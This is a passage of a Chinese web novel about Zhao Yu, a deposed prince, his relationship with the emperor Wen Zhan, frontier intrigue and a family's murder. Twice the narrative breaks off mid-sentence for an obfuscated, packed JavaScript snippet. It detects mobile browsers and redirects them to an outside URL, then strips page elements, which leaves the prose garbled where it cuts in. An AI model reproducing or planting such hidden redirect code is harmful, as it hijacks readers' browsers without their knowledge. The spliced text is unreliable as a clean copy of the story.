吉王指着他们对赵毓说,“大水冲了龙王庙一家人不认一家人,没办法,没办法。这两个是你婶子的兄弟。今天这酒,看看能不能让我给你们几个说和说和,有什么事,大家在酒桌上摊开了说,喝一顿大酒,事情能揭过的就揭过去。你看,好不好?” 老王爷一个人说的热闹,酒桌上,赵毓,石慎,石恺,这三个人没有一个人说话。 吉王一看,叹口气。 “老大呀,你这次回来,就算在雍京长住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728889|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了?” “是。” “住在刚才那个小院子里?” “对,那里离我岳父家近,大家好照应。” “好,亲戚住在一起,挺好的。这次你回来,见到圣上了吗?” 赵毓想都没有想,直接摇头,“没有。” “哎,也是,圣上哪是那么好见的。而且,如今圣上,哎,不说也罢。” 赵毓听吉王这样说,反而有了一点兴趣,“王爷,如今圣上,怎么了?” 吉王刚要说话,王妃咳嗽了两声,给他夹了一口燕菜,“王爷,吃菜。” 吉王一摆手,“这事跟老大说,没事。再说咱们也说不出什么。如今这个圣上,哎,真是一言难尽。他小的时候别人就看不出他想什么,现在做了十多年的天子,别人就更不知道他琢磨什么了。先帝还能有个修真打醮的喜好,圣上什么喜好都没有,后宫空置,后位虚悬,要不是有太子在东宫,御史台那些鸟官还不定,……,也不对,御史台那些鸟人都欺软怕硬,他们对着我们这些良善的忠臣左一个弹劾右一个参奏,对着圣上真是屁都不敢放一个。” “咳咳。”王妃适时咳嗽了一下。 吉王瞅了她一眼,“别咳了。” 随后,老王爷喝了口酒,“老大呀,不怕你笑话,我跟你父皇说话都是谈笑风生,可是对着他儿子说话就发憷,从他小就是,现在更这样。你老王叔我君前奏对的时候眼睛就敢看着地砖,心跳都是砰砰砰的。你说,圣上也没发过火,有的时候对着我们这些老臣还一脸和善,可不知道怎么了,就是让人心里不踏实。你没看他坐在微音殿那个样子,不说话,不笑,似乎都不喘气,就跟个玉雕圣像一样,那简直就是我大郑国法化成真人后的景象。我看,就算我大郑历代列祖列宗显灵了,也就是他那个模样。” 赵毓让吉王说的噗嗤乐了。 他笑着说,“王爷说话还那么风趣。”随后,也学着王妃的样子,给老王爷夹菜,“吃菜,吃菜。” “哎,我说老大啊,你这些年,见过小七吗?” 赵毓筷子就是一滞,随后又给吉王弄了两块鱼,随后,他放下筷子,说,“没有。他,……,雍王现在身份今非昔比了,见我这样的人,也不太合适。” “哎,你说说,当年你那事,什么都变了。要是你还是,……,哎不说了,不说了。我知道这些年你日子过的艰难。当年你多疼小七啊,现在却,……哎,……” 此后,吉王说了说自己这些年的事,又说了说王府修了个水池子养莲花,还说自己这个小儿子多么聪明伶俐,最后,他说让赵毓以后没事过来坐坐。总之都是一些家常的废话,他却再也没有说赵毓石慎石恺三个人的事。 酒宴散的不晚,不到酉时,赵毓想着自己可以溜达回去,等到家也差不多是酉时一刻了,不需要动用崔珩过来接他。谁想到吉王将他送出王府的时候,正门外黄枞菖一身暗色锦绣衣袍端坐于骏马之上,他身后还有一匹留给赵毓的空置马匹。 “哎呦,黄秉笔!我就是请老大喝个酒,又不会把他怎么样,您都亲自过来接人了?” “王爷看您说的。奴婢也是晚上吃多了,没事过来瞧瞧。”黄枞菖下马,他牵过旁边一匹空置的马匹给赵毓,“王爷,那我们告辞了?” “哦,哦,哦,慢走,慢走!”吉王命人关闭王府大门。 赵毓黄枞菖也上马。 “我得回趟家,让老崔不要过来了。” “不用去了,我们就是从崔侯府邸过来的,已经告诉他了。” 他们走过王府门前的大街,拐上官道,看见文湛与他背后的三十六禁卫军,全部是暗色锦绣衣袍,匈奴骏马。 “走。” 文湛勒住缰绳,转了马头。 “去哪儿?” “南郊猎宫。裴檀回京了,带了些东西,需要你看看。” 32. 32 32 他们抵达猎宫已经到丑时了。 夜空开始飘雨。 黄枞菖引着赵毓下马,先去寝宫,“祖宗,不去看看主子同裴公爷说些啥?” “他们需要我知道的事情,一会儿就知道了。人家君臣肯定还有一些不能对外人说的体己话,现在凑过去很奇怪。” 文湛进入正殿,裴檀已经在这里等候。 他安静的跪着,说,“北疆战事稍歇,原甘宁总督徐绍缴了随侯石寰的虎符,并且正式接手北疆关防。石寰已经离开北疆,不日到京。” 皇帝让他起身,他才站起来。 此时,他看见皇帝微微点头,表示知道了。最近一些年,皇帝的表情似乎越来越淡,情绪也越来越不外露。有一些老王公依仗着自己王叔的身份,敢说话,背后议论议论皇帝,说他现在越来越像个玉雕圣像。裴檀没附和过,不过,有的时候他在微音殿看到皇帝那个样子,感觉也像。文湛安安静静的,像极了先帝供奉在紫檀经舍的那尊玉雕。 随后,裴檀仿若无意一般看了看皇帝的身后,只有柳丛容。 “承怡先去寝殿了。” “陛下,您让臣查石慎,仓促之间只能找到一些皮毛的琐碎事。” 裴檀将石慎的一些事情写在一叠子宣纸上,就放在一旁的书案上。 文湛过去随意翻了翻,忽然,眉头微微一皱,虽然过后随便开展眉目,不过这个瞬间足够让裴檀知道此时皇帝已经厌恶到了极点。 “他怎么有这么个癖好?” “所幸,他还知道一些法度,一直从边境购买流民贱奴,没有碰过平民少女。” “他在边境购买奴隶的时候,有没有同承怡有过什么恩怨?” “臣不知。王爷在边境近十年,很多事情,臣都不知道。如果陛下想要臣查,臣这就去瓜沙肃兰诸州彻查。” “不用。” 文湛继续翻看,一张宣纸翻过,几个女子的画像显露出来。 虽然画像很简陋,但是从五官可以看出,这些女子具是高鼻梁,雪肤,淡色眼珠的西疆女子。 裴檀说,“石慎府邸最近又死去一名高昌女奴,这是与这名女奴有关联的其它几位西疆女子的画像。她们都来自于同一个组织。目前,这些女子都在雍京几家显贵家族为奴妾,臣虽然没有亲眼目睹,据说全是能歌善舞,美艳绝伦。” 文湛的手指从其中拿出一张画像,倒不是说这名女子有多美,而是她的名字下面用标了红。 他问,“这是谁?” “加茉。”裴檀说,“这应该是这群西疆女子的首领。” 文湛从加茉的画像后面拿出一张空白的宣纸,只是右下角写了一个名字,——元承。 “这又是谁?” 裴檀回,“这是加茉的情人。时间实在太仓促,臣只能找到他的名字和一些关于他的流言。据说这个人是纵横西疆十六国的走私贩子。为人凶悍,曾经为了救加茉敢闯漠北王庭。那个时候他的同伴都死了,只有他和加茉活了下来。最后,这两个人从漠北横穿须臾沙漠走回敦煌。那片须臾沙漠在他们之前与之后再没有人活着走出来。只是这个人销声匿迹了很多年,如果不是最近有线报加茉在雍京见到了他,所有人都以为这个元承已经死去多年了。” 文湛将所有的宣纸放回木案上,“让北镇抚司多留意。” 柳丛容在旁边答道,“是。” 随后,文湛问裴檀,“你要见承怡,什么事?” “王爷多年在西疆,听说对于行军地图的绘制颇有建树,这次兵部有一批从前方带回来的地图,想要再请王爷校对一下。” “好。” “还有,听说,原来绥靖镇守将军的虎符也是王爷取回的,见到王爷的时候,臣可否问几句话?” 皇帝看了裴檀一眼,“应该也可以。走吧,去寝殿,承怡那边应该已经可以了。” 说实话,裴檀现在有些憷这个承怡,或者应该说赵毓。 原来这位在雍京做皇长子亲王的时候,依仗着皇帝的娇宠,太子的情深,每天装疯卖傻,不可一世,在王府过着骄奢淫逸,挥霍无度的日子。 裴檀想着,反正这个承怡是他们天家养出来的娇儿,父子两代帝王宠出来的白痴,好坏他们自己消受着,没想到楚蔷生那样强悍的性子竟然也对他念念不忘,偏偏人家对他楚蔷生是一丝半毫的情意也没有。 承怡被罢黜王爵之后,很多年他没有见过他,一切安好,谁想到两年前他又回来了。 当时也是在猎宫。 他不过见面叫了他一声’王爷’,这个赵毓忽然跪下,爬到自己身边,一把抱住他的大腿,开始嚎,“裴公爷给条活路,我跟你远日无怨近日无仇,大郑国法煌煌,你何苦陷草民于冒充亲王死不超生的境地?” 当时裴檀不敢硬来,可是软的又摆脱不了他。他以为皇帝不管,结果,他抬眼看到皇帝站在一旁气的脸色发青,缂丝龙袍下的手指都在发抖。最后要不是崔珩掰开赵毓手指将他拖走,那件事情不知道是个什么了局。 皇帝裴檀柳丛容他们到寝殿的时候,赵毓不在大殿中,他同黄枞菖在店外的园子里。 赵毓撑了一把伞,拎着琉璃灯,正蹲在黄枞菖身边。 “祖宗,这玩意儿不能吃。我当年在老家的时候穷的叮当响,挖野菜,掏鸟蛋,撸榆钱,抓蚕蛹,什么没吃过,就唯独没有吃过这东西。听我的,以我十年吃糠咽菜的经历来看,这个,绝对是喂猪的。” “别扯你小时候吃糠咽菜了,你在司礼监这些年锦衣玉食的,你懂个屁!这是苦苦草,专门治胃里泛酸水用的。穷人吃不起药就吃它,挺管用的。我吃多了,听我的,挖。” “既然您胃里不舒服,让太医过来看看,开几贴药吃多好。” “大晚上的,你不睡觉,人家还不睡觉?别折腾人了。你给我挖这个出来,一会儿做点开水,泡点干粮吃。” 正说着,赵毓听见有脚步声,扭头,才看见文湛和裴檀他们。 两年前他刚回雍京,用崔珩的话讲,这些年在外面野惯了,一身混账气还没褪去。 那一天,也是在猎宫。 他见到裴檀,不过是裴檀叫了他一声王爷,他就不干了。直接犯浑抱住人家的大腿干嚎,要不是崔珩死活把他拖走,当时还真不知道怎么了结。 为此,崔珩骂了他一晚上,“你在外面混账惯了,那个劲头一上来,不给身边的人留一点颜面。我实话跟你说,他后悔了,他早就后悔了!当年他把事情想的太简单了。他以为先皇禅位,他新皇登基,一封诏书,说几句上皇子息凋零,他想要兄友弟恭的鬼话,就着改元大赦天下还有所有人还记得你是祈王的时机就可以把你的王爵恢复了。没想到最后你离开雍京,一走这么多年,现在连个恢复王爵的由头都没有。今天这事直接就戳了他的心窝子。既然决定回来了,就别再犯浑。这里是雍京,不是你野惯了的西疆十六国!” 说实话,他看见裴檀也感觉挺尴尬的。 “裴公爷。”赵毓这次开口斯斯文文的,“好久不见,一向可好?” 裴檀怕他再犯浑,直接躲到一旁,“好,都好,您也好?” “上次的事情实在对不住。要不,改天您得空,咱们回雍京我请您喝酒,算是赔罪?” “不用!”裴檀一下子感觉自己拒绝的有些决,显得不给他留面子,于是赶紧缓和,“上次是我不对,不应该称呼您,……,既然是我不对,没脸让您请喝酒。” 赵毓知道裴檀是不会喝他的酒了,也就笑笑,不再说话。 文湛过来问他,“很不舒服?” “刚才在吉王那里没敢吃东西,胃有些空。不用再麻烦御医大半夜的跑过来了,我自己弄点东西吃就好。” “不用御医也可以,你别吃那些野草。我那有些蜜丸,给你吃。还有,让他们煮点汤面,大家晚上也都吃一碗,不麻烦的。” “嗯。” 文湛冲着柳丛容点了点头,柳丛容赶忙下去吩咐。 黄枞菖这边泡好了热茶,给文湛他们都端了过来,文湛就坐在一旁,不说话,看着他们。 裴檀命人将几口箱子抬进来,打开其中一个,拿出来一封卷轴,在大案上铺开,正是敦煌的地图。 他看了看赵毓,真不知道要称呼他什么。 “您看看?” “好。” 赵毓的确对那里的地形即为熟悉,并且他对于绘制地图也很有建树。他看了看,这封地图是兵部派的人专门绘制,大致上非常准确,他只是指着其中一点说,“鄂勒而呼伦河改道了,现在它向南移了大约二十里,直接流淌到巴鲁孜山脚下。” 裴檀连忙让侍立一旁的司礼监小太监将赵毓说的更改标记下来。 赵毓又看了几封,问裴檀,“这里面有些地区是有暗河的,不常驻西疆并不知道。如果以后大军进驻西疆,可以沿着暗河行军,这样不会断了水源。如果裴公爷不是很着急,我明天白天再给您一一标记出来,您看行不行?” 裴檀看了一眼文湛,他看皇帝没有反对的意思,于是,连忙点头,“好。” 此时,赵毓指着一张地图说,“漠北王庭还要再往北一百里,这里如今是荒地了。” 裴檀听着心中一动。 他将自己的手掌横着放在地图上,“漠北王庭距离大郑边境已经很远了,中间还间隔着须臾沙漠,您也去过?” 赵毓的手指沿着边境画了一条线,“这里说是大郑的疆土,其实是三不管地段。各国军队纷杂,多个地方都经历过拉锯战,民不聊生。所以,整个这一大片土地的归属权都很混乱,不一定要到漠北王庭。” 裴檀点头,“嗯,原来这样。”随后,他又问,“听说,您在冉庄遇刺,您从刺客身上拿回来一件东西?” 赵毓,“是个牛皮袋子,我给崔珩了。” 裴檀,“您知道里面是什么吗?” 赵毓摇头,“没看,崔珩也没说,想来很重要,并且也不需要我知道。” 裴檀,“是。” 他们两个人安静了下来,周围也无人出声。 外面的雨忽然大了一些,砸在大殿外的青石上,噼里啪啦的。 裴檀突然开口,“您听说过元承这个人吗?” 赵毓,“……” 裴檀,“这个人很重要,我们只是听说一些关于他的流言。据说这个人是纵横西疆十六国的走私贩子。为人凶悍,曾经闯入漠北王庭,并且活着走出须臾沙漠。只是这个人以后销声匿迹了,如果不是最近有线报在雍京出现,所有人都以为这个元承已经死去多年。” 赵毓,“……?!” 传闻为什么会变得这么离谱?还是谁给的错误的讯息? 赵毓,“你找他,做什么?” 裴檀,“他的情人加茉也出现在雍京,并且与多个显贵家族买入西疆奴妾有关。” 赵毓一愣,“加茉妹妹?” 听他这样说,裴檀明白自己问对了。 此时,不远处的文湛则放下手中的茶盏,微微呛了一声,在夜中尤为深远。 大殿中的柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728890|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丛容与黄枞菖也是很意外,只是,他们见惯了奇诡的事情,很容易控制情绪,此时只是垂手站立。 裴檀又问,“元承?” 赵毓忽然笑了,“多年前一个化名。你也知道,我的名字赵毓不能出现在任何地方,所以只能一个化名一个化名的用了。” 裴檀,“您与加茉是?” 赵毓想了一下,忽然走到文湛面前,问他,“我觉得有些饿,你,能不能去看看他们的面条煮好了没有?如果弄好了,再让他们给我加点香油?” 这是明目张胆支开皇帝! 文湛没动。 柳丛容连忙说,“奴婢下去看看。” “不用。”文湛忽然开口,随后站起来,“好,我去看看。” 话音未落,他就向殿外走。 裴檀有些震惊的看着眼前这一切。 柳丛容连忙跟在文湛身后,他去撑伞。 他们等皇帝走出殿外。 此时,裴檀才问赵毓,“情人?” 赵毓,“当年她才十三岁,我没这个癖好。” 裴檀有些不解,既然没什么暧昧关系,为什么不让皇帝在场。 裴檀又试,“走私?” 赵毓,“兄弟们要吃饭,只不过做过一两票小生意。” 虽然知道他说谎,但是前方的事情裴檀也知道,这些也是苛责不了的。 裴檀,“那您,……” 赵毓,“传闻有些奇诡,其实整件事情非常简单。我还是现在这个样子,杀鸡都费力,我不可能凶悍到闯入漠北王庭。当时,我是力竭被俘,因为不想死,就熬了下来。” 裴檀隐约知道他要说什么,“西北军没有营救?” 赵毓,“裴公爷,您在军中多年,应该知道这条军规。凡是被俘被质被掳之人,不救。如有机会,可杀之。这也是向梅氏家族学的规矩。” 梅氏家族以贩卖药材起家,如今是巨商。因为家族豪富,族中子弟多被绑架,为了支付赎金家族破费巨万,并且烦不胜烦。为改变这一情势,家主订下一条族规,凡是梅氏被绑架的子弟,任其自生自灭,家族绝对不救不赎。刚开始绑匪不信,连杀掉几名梅氏子弟之后,发现真的没人再支付一钱银子的赎金。于是,久而久之,江湖上人人都信了这一条,也就没什么人去绑梅氏子弟了,反正也要不到钱。于是梅氏也就平静了下来,梅氏子弟也不是人人盯着的肥肉。 大郑军中也是这一条军令。 裴檀,“西北军一点表示都没有?” 赵毓却笑了,裴檀发现他特别爱笑,很柔和,却像是夏夜外面雨水,在柔和中却带着薄薄的凉意。 他说,“他们倒是报丧了,还给了一面黑旗,说是可以放入棺材中,替代尸身下葬用的。” 裴檀惊讶,“为什么我们不知道?!” 赵毓,“报丧怎么可能报到雍京?自然是云中尹府。” 裴檀这才知道,为什么赵毓要让皇帝离开。 裴檀,“您是怎么离开的王庭?” 赵毓,“人到了那个份上,就会杀人了。加茉当年才十三岁,漠北那些人完全不把她当人用,就算杀的手指上刀刃卷起来,身上都是骨头碴也必须要走。后来我们进入了须臾沙漠,碰到了一队从波斯过来卖香料的商队,我说帮助他们做通关的文牒与账目,所以他们带上了我们。 裴公爷,您是不是听流言说什么须臾沙漠无人能活着走出来?其实,单个的人很难活下来,但是带着大批骆驼的商队还是可以的。加茉,我也是很多年没有见了,前一阵子她约我上茶楼喝茶,最后也是不欢而散。 我不知道您从哪里得到这么离谱的讯息,但是,元承这个人,的确同现在的加茉没有什么关系了。” 寝殿终于安静了下来。 闲杂人都散了,这里只有赵毓文湛在安静的吃着汤面。 赵毓的碗中多放了一些香油,他搅了搅筷子。 文湛忽然说,“不听你说,别人也会告诉我。我不知道,你还曾经被报过丧。” 赵毓,“裴檀没文采,你听他说,没那么惊心动魄。” 文湛,“你还有多少事没告诉我?” 赵毓,“须臾沙漠边上有座山,那是雪山,它的谷底是一个湖,因为无人去,湖里面的鱼的脑袋比马头都大。一条拉鱼上来够咱俩吃三天的。” 闻言,文湛将碗筷都放下,“睡觉。” 夜里开始下暴雨。 文湛感觉自己一夜都没有睡熟,一个噩梦接着一个噩梦。承怡不是全身是血,被火焚烧,被刀分尸,要不就是永堕深渊,他想要救人,却动不了,也喊不出声。 蓦然! 他睁开眼睛,殿外夜幕没有那么浓重,似乎有一点天光。 一只温凉的手摸了摸他的额头。 全是冷汗。 “噩梦?” 是赵毓。 他一夜没睡,就在文湛身边,侧身靠在软枕上,眼睛在夜中一直看着他。 “嗯。” 文湛重新闭上眼睛,板正躺好。此时,他感觉赵毓的手臂穿过他的肩膀与枕头的缝隙,拥住他,慢慢的,将他的身体揽过来,抱在自己怀中。 文湛能听到赵毓的心跳声,没有那么有力,却是安宁平稳的。 还有,他的气息。 他身上是自己的衣服,全部熏过浓重犹如瑰奢的香,但是赵毓的气息却穿过这些味道若隐似现的飘了出来,那是肌肤的味道,清冽冽的,像烈酒中的清水。 “我在这里,一直都在,以后也是。” 33. 33 33 “皇上,皇上,皇上,……” 柳丛容推开寝殿门,就听见里面的声响。 明明是赵毓平时说话的声音,可能是昨夜下了一夜的雨,他的声音也有些许的清澈,却不知道怎么了,让柳丛容听着骨头发酥。 “承怡,闭嘴!” “可是,你是皇上呀,……”叹息一般的声音,犹如谁拨动了琴弦。 昨夜到猎宫已经过了子时,所有人睡的很晚,今早柳丛容故意晚一些进寝殿,结果还不是个好时候。 他静悄悄后退,正要掩上殿门。 ——“承怡,住手!住手!住手!住手!”皇帝的声音,连着喊了四声,最后竟然近似于嘶吼。 “陛下,您没见过父皇的妾妃就是这样侍寝的吗?” 柳丛容连忙掩上寝殿的门。 等了好久,皇帝吩咐入室伺候,他连忙将准备好的热水与布巾捧过去,皇帝披了衣袍出来,接过这些,却没有让他进去。 片刻。 “御史台那些鸟官肯定不知道,陛下金贵的骨血都浪费在我的身上。不然哪,弹劾的奏折一定像雪片一样飞过来,塞满了这里。” 赵毓的声音好像浸润了蜜糖的酥糖,一掰开,都拉着甜腻腻的纤细的丝。 他这些话一说出来,柳丛容感觉自己的脊柱骨好像被抽掉,要不是他的手指拉着寝殿大门的鎏金铜环,他差点就没站稳。 他咬了咬牙,终于稳定了心神,这才退出寝殿。 黄枞菖等在那里,捧着一张纸糊一般的脸,问,“主子说了几时摆饭了吗?” 柳丛容摇头,“没有,还没起。” 黄枞菖,“我去厨房,让他们热着灶。” 说实话,此时柳丛容特别佩服黄枞菖,他一脸老僧入定、六根清净,从头到尾,都没有变过脸色,活像块木头疙瘩,还是榆木的。 寝殿里面那两位一直到快晌午,才算彻底折腾完。 文湛收拾停当之后就带着裴檀进猎场围猎去了,赵毓吃了口东西继续留在寝殿补眠。 赵毓睡到下午,起来之后做了些正经事。 他让黄枞菖将昨日裴檀留在这里的那几口箱子打开,拿出里面的地图,握住小狼毫饱蘸了墨开始一点一点标记他脑中的暗河。这些暗河有些是当年占领那些地方的君主修建的,有些是当地的豪绅修建,各种标准并不统一,并且有些地方也因为常年战乱而年久失修,干涸废弃。他将这些细节逐一标识,很劳神费力,于是一不留神,就到了掌灯时分。 文湛已经回来了。 “我给你猎了两只鹿。” “让我养着吗?” “让你吃。” “谢谢。” “和我客气什么。” “也是。” 赵毓到殿外,看着外面的人已经将那两只鹿抬了过来。 文湛的箭法很好,这两只鹿直接被射杀咽喉,没有任何多余的伤口,似乎死的也没有很挣扎,在暮光下竟然有一种静谧安逸的气息。 “我们今晚烤一只吃吧。” “好。” “另外一只,我想送人,让他们也尝尝,可以吗?” “好。” 赵毓让黄枞菖拿了剔骨刀过来,他一下子砍下鹿头,随后沿着肌里的方向解下四条鹿腿,还有一些肩膀与后臀的肉。 “黄瓜,你把这些分成两份找人送回雍京。一份给宁淮侯府,让老崔格非还有桂宝儿他们也尝尝鲜,另外一份送去楚相府,就是不知道楚蔷生那个精细的人吃不吃这种粗食?” “吃的。”黄枞菖连忙点头,“左相大人没有他长的那么精细,真要是饿了,窝窝头也吃的。我就见过。” 夜里,猎宫正中的一块空地架起了铁架子,开始烤鹿肉。 赵毓让他们在鹿肉上刷上蜂蜜和杏子酒,再涂抹上盐粒,就着新撕开封泥的杜康酒。 裴檀看着赵毓手中的酒碗,忽然发现这个人喝酒的口味也变了。 原来祈王喜欢喝的都是太雕,黄桂稠酒这样腻腻的,没劲的甜酒,现在也能喝的下真正清冽的白酒。 赵毓见裴檀坐在大殿前的台阶上,他也过来坐在裴檀身边,未开口,先是笑,“裴公爷,其实我这次回京挺想去您府上好好道歉一番,但是我知道您不待见我,所以也没有钻山打洞的想着往您跟前凑合。” 裴檀也的确不太愿意和他说话,但是他这个位子其实也没什么地方好退的。旁边就是大殿的柱子,他总不能一下跳起来躲开,这样显得太决绝。 “如果裴公爷您不再和我计较了,我敬您碗酒吧。” 说着,他拿起来手边的小坛子,往裴檀手中的酒碗倒了一些酒水。 裴檀想着,喝酒就喝酒,总不能喝死我把,于是二话不说,直接把那些酒喝干。 来而不往非礼也。 再说,大家都是雍京地面上混的场面人,谁也不能输了脸面。 裴檀也拿过那个小酒坛子,也给赵毓倒了一些,“那我也敬您一碗。多谢您帮着兵部校对了那些西疆的地图,还给标记处暗河的位置。其实我在兵部收到过西疆送过来的战图,也知道是您的手笔,只是您的名字不能出现在战报和请赏奏折上,所以一直埋没了。” 赵毓一直笑,也喝了酒,“小事一桩。” 裴檀发现,他比之前爱笑多了。 此时的赵毓身上是皇帝的常服,浓重的香气,沉稳华贵如玫瑰香奢。这件衣袍他穿着稍微大了一些,袖子卷起来露出两只手臂,却显得有些苍白,他的皮肤太薄,手腕上还有一些淤青,也许是不小心碰伤的痕迹。赵毓拿着酒碗的手指纤长,这还像他原来的那副手无缚鸡之力的样子,一点也没有方才手持剔骨刀的狠劲。 赵毓的眼睛看着自己,眼神竟然是柔和的,这和他的样貌一样,柔美到了极致。 篝火下,他左眼边的泪痣红艳艳的,像是细小的珊瑚珠子,也可以说是血滴凝结的颗粒。 怎么从来没有发现,这个人,竟然有一副很好的相貌? 记忆中,他一直都是,……,是什么样子? 裴檀忽然发现一件奇怪的事情,自己竟然记不住赵毓十多年前的样子了。 记忆中, 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赵毓喝了酒,过了一会儿才问他,“你觉得楚蔷生是被人用三言两语,几句暧昧就吊的住的人吗?” 裴檀没说话。 赵毓,“楚蔷生的心是他自己的,他愿意给谁就给谁。我管不了,你也管不了。” 此时,黄枞菖过来,在赵毓耳边说了一句,“主子那边鹿肉已经烤好了,让您过去。” 赵毓闻言起身,“裴公爷天生贵胄,可能不知道,有些事情只能一直向前走,不能回头。” 裴檀,“可是你就回头了。” 赵毓本来不想说,不过还是开了口,“裴公爷,您可不是陛下。” 文湛这边,柳丛容已经片下来一块鹿肉,正拿着小刀仔细切,弄成一小块一小块,拿着筷子可以直接夹起来入口。 赵毓抱着酒坛子坐在一旁,又给自己倒了半碗。 “别喝那么多,小心醉。”文湛就说了一句,也不拦。 “嗯。” 柳丛容端过来肉块,赵毓没用筷子直接上手抓了一块,仔细嚼了嚼,野味十足,还挺香的,舔了舔手指又拎了一块,好吃,于是又拿了两块。 “晚上别吃多了,当心积食。” “没事儿,一会儿泡点浓茶,多喝几碗就消化了。这可是你亲手猎回来的鹿,吃撑了也要多吃几块。” “你要是喜欢吃,以后多给你猎几只。” “好。”赵毓笑着说。“心情好点了吗?” 文湛没说话,却把他揽在自己的双腿上,坐好。 赵毓单只胳膊揽住他,手指在他的头发中随意梳理着,“其实,在我的事情上,你当真没有左相大人想得开。” 文湛,“我不如他?” 赵毓连忙道歉,“呃,我错了。楚蔷生宰相肚中能撑船,陛下是他的主君,肚腹中肯定有一整个运河码头。”笑过之后才说,“别乱想了,我不是挺好的吗,以后也会是这样的,那些事情,过去的就过去了。” 文湛,“加茉妹妹?” “呃,……” 34. 34 34 赵毓一进家门,看门的赵大叔连忙过来说,“留园的的申掌柜带着新任大账房来了,就在客堂。原本老爷不在家,我不敢留客人,可是侯爷说老爷差不多也就在今天能回来了,而且申掌柜他们看起来也挺着急,我就斗胆让他们留下了。” 赵毓点了点头,“没事儿,给他们冲点茶喝。” 随后,他一脚迈进进客堂,申掌柜等他等的已经有些焦头烂额,似乎也没有心情再喝茶。 “东家,赶紧去义庄,顺天府让我们去认尸。” “谁死了?” “没空说清楚,东家,咱们赶紧走吧。” 赵毓让申掌柜他们先走,他骑马,快。申掌柜他们连忙出门,随后赵毓收拾了一下,让赵大叔换了匹马。 “你去趟侯府,让侯爷派个人将大小姐送到城南义庄。” “啥?” “去吧。哦对了,让大小姐也骑马,快。” 留园以后是赵格非的嫁妆,早晚是她的东西,既然这样,还不如让她提前见识见识这群人的面孔,以后处置起来也不会惶恐。 城南义庄青砖青瓦。 这里原本是一个巨宦的祠堂,后来那个家族没落了,子孙飘零,没有香火供奉,久而久之,这里就成了顺天府辖区内的百姓暂时停放棺椁的地方。 这几天雨水实在大,赵毓赶到义庄的时候,又开始下雨。 他下马,早已经等候在门外的申掌柜递给他一把油纸伞,他撑开就往义庄后面走。 地面上用草席裹着五具尸体。 雨水如同瓢泼一样,直接从天空中浇下,赵毓手掌中的油纸伞仅能挡得住肩膀之上的地方,片刻之后,他全身湿透。 他走过去,一一掀开草席,看着些人,或者说死人。 这是那个之前背叛他被他逐出留园的大账房鲁辛的家人:——爹、娘、十二岁的大闺女还有他老婆和六岁的小闺女。 鲁家娘子临死的时候还死死的护着小闺女,一把菜刀砍过来,她的脖子和小闺女的脑袋一下子被削掉一半,那把菜刀还留着这里。 鲁家大闺女眼睛都没有合上,在暴雨中睁着。雨水直接砸下来,她一瞬不瞬的睁着眼睛,原本一双黑丢丢的眼睛珠子已经开始变浑浊了,雨水在眼睛珠子上飞溅开来,落在一旁,形成水花。 她的脖子上还用红线挂着两个小金梅花,那是去年冬天过节,赵毓让金铺打了一堆小金梅花,给留园的女孩子们一人几个压在荷包下面做压岁钱用的,他们家格非也有三个。 赵毓在她身边蹲下,伸手揉了揉那姑娘的眼眶,口中念着些什么,最终合上了那双眼睛。 身前有人。 他抬头,发现居然是冬天他从五台过太行山密道遇到的梁十一。 北镇抚司的镇抚使。 赵毓施礼,对方抱拳,只是都没有说话。 此时,顺天府的姚肃过来,“赵先生,又见面了。真是不凑巧,见面还不如不见。” 赵毓也是无奈,“哎,真是一言难尽。” 姚肃问他,“这些人,赵先生可认识?” 赵毓,“认识,这是我留园之前的账房先生鲁辛的家人,爹娘,老婆,还有两个闺女,就是没他本人。” 姚肃有些古怪的看着赵毓,“鲁辛没死,他活着,就是一口咬定,这次的祸事是先生所为。” 赵毓,“我?我拎着菜刀杀人?” 姚肃,“先生是矜持斯文的人,做不出拎菜刀砍人的事。鲁辛是说,先生买|凶|杀|人。” 赵毓一挑眉毛。 姚肃只感觉赵毓这个神情有着说不出的傲慢。 不远处的梁十一看着就是心中一动。——像,太像了!这位手持陛下生辰玉佩以密道过太行的赵毓,眼前这个挑眉的动作,像极了圣上! 赵毓,“我杀他干吗?” 姚肃,“赵先生,前几日留园的事情我也在场,那位鲁账房不是说您偷漏税款得罪您了吗?” 赵毓,“既然姚大人在场就应该知道,鲁辛虽然诬告我,得罪不得罪放在一旁,那天灰头土脸走人的可不是我赵毓。既然我都没有伤筋动骨,自然不会跟他计较。只是这个人不能再用了,我看在他爹娘老婆孩子的份上,让留园的申掌柜给他结了这个月的工钱让他走人了。” 姚肃仔仔细细的看着赵毓,这个人也看着他。 姚肃自负三眼之内能把人看透,但是他看了很多眼,都似乎看不透赵毓,因为,赵毓的眼睛中似乎什么都没有。 姚肃,“既然这样,赵先生敢不敢跟我走一趟?” 赵毓,“做什么?” 姚肃,“当日伤人性命的歹徒还有四个活口,我让他们指认一下主谋,如果他们不认得赵先生,那个鲁辛的话自然就不能作数。” 赵毓,“成,那咱们就去顺天府。” 姚肃,“拿到不用劳烦赵先生,那几个人就在义庄。请吧。” 他们两个往正堂走,那里是祠堂。 梁十一也跟在他们身后。——不对,有些奇诡。这位赵毓身上的味道,为什么同圣上身上熏的香,味道一样? 